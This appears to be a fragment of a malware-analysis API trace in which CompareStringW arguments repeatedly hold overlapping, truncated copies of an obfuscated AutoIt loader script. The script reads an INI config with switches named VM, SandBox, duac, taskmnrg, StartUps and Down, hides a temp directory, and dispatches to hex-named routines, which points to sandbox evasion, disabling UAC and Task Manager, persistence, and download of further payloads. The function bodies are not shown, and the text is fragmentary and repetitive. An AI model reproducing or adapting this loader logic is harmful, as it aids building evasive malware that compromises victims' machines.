Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\"", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.201] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="6 = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\")", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.201] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" = 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") ", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.201] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1="= 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' Then\r\n\x09\x09_S0xF2781DA828DC14A0F0FEF5D4A4426C98()\r\n\x09EndIf\r\n\x09$1CE94C1EFB22EC0E6A185C1DF526F610 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"SandBox\", '')\r\n\x09If $1CE94C1EFB22EC0E6A185C1DF526F610 <> '' Then\r\n\x09\x09_S0x68186AB5B357A0A14A644C0DF695A52F()\r\n\x09EndIf\r\n\x09$F8AE244B1B08123E5D880B38054376F1 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"duac\", '')\r\n\x09If $F8AE244B1B08123E5D880B38054376F1 <> '' Then\r\n\x09\x09_S0x1BBD61B5E692FCE17130D76616C68EBD()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"drpt\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0x050BF61634F62863E7BB6AC69F3E487B()\r\n\x09EndIf\r\n\x09$9591864BF46863A614F7C4FA8E1115C7 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"btklr\", '')\r\n\x09If $9591864BF46863A614F7C4FA8E1115C7 <> '' Then\r\n\x09\x09_S0xD390989A5708F188D35440C295B99A56()\r\n\x09EndIf\r\n\x09$A670CC2ECC35575854C80B4208A78E05 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"taskmnrg\", '')\r\n\x09If $A670CC2ECC35575854C80B4208A78E05 <> '' Then\r\n\x09\x09_S0xC7ADA02AAC2441891463C2209AAEC94F()\r\n\x09EndIf\r\n\x09$38FB60076F054E3721B05607F1809456 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"hSUps\", '')\r\n\x09$061EF4528D3BEC1BAD24205CFB342445 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"StartUps\", '')\r\n\x09If $061EF4528D3BEC1BAD24205CFB342445 <> '' Then\r\n\x09\x09$576E7ACF370C475C1F7CFFC8287D4894 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Key\", '')\r\n\x09\x09_S0xC8217D78780E72F524EC8E3C8A152959($576E7ACF370C475C1F7CFFC8287D4894)\r\n\x09EndIf\r\n\x09$7844252F058DDA024127F0F6E1F47A98 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Down\", '')\r\n\x09If $7844252F058DDA024127F0F6E1F47A98 <> '' Then\r\n\x09\x09_S0xDF98BC688C668B0407CDE2D98C295CB8(BinaryToString($7844252F058DDA024127F0F6E1F47A98))\r\n\x09EndIf\r\n\x09$F39285179624EA59225A0BF28273C515 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Net\", '')\r\n\x09If $F39285179624EA59225A0BF28273C515 <> '' Then\r\n\x09\x09$F39285179624EA59225A0BF28273C515 = True\r\n\x09EndIf\r\n\x09$8F5EBE1328FC2B2DC6016A70C366F083 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"eof\", '')\r\n\x09If $8F5EBE1328FC2B2DC6016A70C366F083 <> '' Then\r\n\x09\x09$3B3F342DCB843A363757E1DD2813D3FF = True\r\n\x09EndIf\r\n\x09$6041FCAD8A4EB8C30A147D795679C7FA = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"RP\", '')\r\n\x09If $6041FCAD8A4EB8C30A147D795679C7FA <> '' And Not FileExists(@ScriptDir & \"\\spd\") T", cchCount1=18, lpString2="Settings File Name", cchCount2=18) returned 1 [0078.201] CompareStringW (Locale=0x400, dwCmpFlags=0x1, lpString1=" 0xF0000000\r\nGlobal Const $2BADE2A6917E4FD3141FF478399B9C29 = 0x0004\r\nGlobal Const $D7B87DBC9EBFE9B98E86AC402AF30278 = 0x0002\r\nGlobal Const $A4E74B3D571DD28A4BD46AFED2FF9A21 = 0x00000001\r\nGlobal Const $B939F5E560A162C57C19FFD63367B64E = 1\r\nGlobal Const $72C3DED1B4617DC9E36E9F0FA1ECD04B = 0x00008001\r\nGlobal Const $B6D07C74BD5D1C5988597C22A366633F = 0x00008002\r\nGlobal Const $AC23469B485C91685E66323634795BB3 = 0x00008003\r\nGlobal Const $A2FCA4C08C8A3F1468D8E746E31AB5CB = 0x00008004\r\nGlobal Const $487AA7ED5C22C2DBED5BE8784863E3CA = 0x00006603\r\nGlobal Const $F23BABECD6E4A8BB507295A70C116B81 = 0x0000660e\r\nGlobal Const $893529605D2CC4E08C633862AF17D045 = 0x0000660f\r\nGlobal Const $D55A30AD6906FF18C3F0AD47673624E1 = 0x00006610\r\nGlobal Const $D9E2A9D97C7FFBAD9D504886A359FB4A = 0x00006601\r\nGlobal Const $4350DEA878C5E4A2BAB83C4406A8B26B = 0x00006602\r\nGlobal Const $75A2FB145F3605CA0DA3CA48D7B9C281 = 0x00006801\r\nGlobal Const $1295974546E6E9CA72B1205FD83C6F10 = 0\r\nGlobal $FDA831CE40AFAB1CCB2F146F9D71CF0F[3]\r\nGlobal $6D8EA853F0F9D4F4725A7B18BA8E68E5, $6C3C44D956C1D408BA305F8620833447, $D7D52CFFCBB6745185B9DB4AFA2C8C13, $FF9A003592FB5AC6C447DC74647093B4, $B9B82D98583A5C233FD445FABDD55983, $F39285179624EA59225A0BF28273C515, $79E6B6AD0E3929343C8227B45FDD4FFB\r\nGlobal $3C02906DBD82FAE9BEDF15FA83019CD3 = @MIN + 1, $10408E6F4EE9BCC475D45187F7A61581 = @MIN + 1, $576E7ACF370C475C1F7CFFC8287D4894, $D670D931AB625312A06C6E78CAF5F4FA, $5D33270AF08A87ABF453DC3CE78E09EC, $FD207A895B0E415C87F1962728B8263A, $EF334541C41BF1292618BD324F33ECFF, $38FB60076F054E3721B05607F1809456\r\nGlobal $C53E1AA287D0B74A8A796B2D3DB2DAE2, $C8E8F8600975B3E41D4C0AFA85BEDAB0, $3B3F342DCB843A363757E1DD2813D3FF, $8F5EBE1328FC2B2DC6016A70C366F083\r\n$6D8EA853F0F9D4F4725A7B18BA8E68E5 = @ScriptDir & \"\\Settings File Name\"\r\n$989BD8DF7434150DDDCC4E3AF84571E3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"Dir3ctory\", '')\r\n$9355FBBA246C8217C04EE3075C218909 = @TempDir & \"\\\" & $989BD8DF7434150DDDCC4E3AF84571E3\r\nSleep(100)\r\nFileSetAttrib($9355FBBA246C8217C04EE3075C218909, \"+H\")\r\nSleep(100)\r\n_S0x325952AE1C47E8F062A74927A1DBE55B()\r\nFunc _S0x325952AE1C47E8F062A74927A1DBE55B()\r\n\x09$39EE801D7E22D21808919DD1A991F950 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"msg\", '')\r\n\x09If $39EE801D7E22D21808919DD1A991F950 <> '' Then\r\n\x09\x09_S0xCD06933F8DF7350D8A7AA4D9F1BAFB5B()\r\n\x09EndIf\r\n\x09$4FE9C92D9445918D1759387A12138EA3 = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"_S0x20057179D673181B71D4593BFB2A0450\", '')\r\n\x09If $4FE9C92D9445918D1759387A12138EA3 <> '' Then\r\n\x09\x09_S0x20057179D673181B71D4593BFB2A0450()\r\n\x09EndIf\r\n\x09$7720810FD229554DD77847CB9AFBA43C = IniRead($6D8EA853F0F9D4F4725A7B18BA8E68E5, \"S3tting\", \"VM\", '')\r\n\x09If $7720810FD229554DD77847CB9AFBA43C <> '' 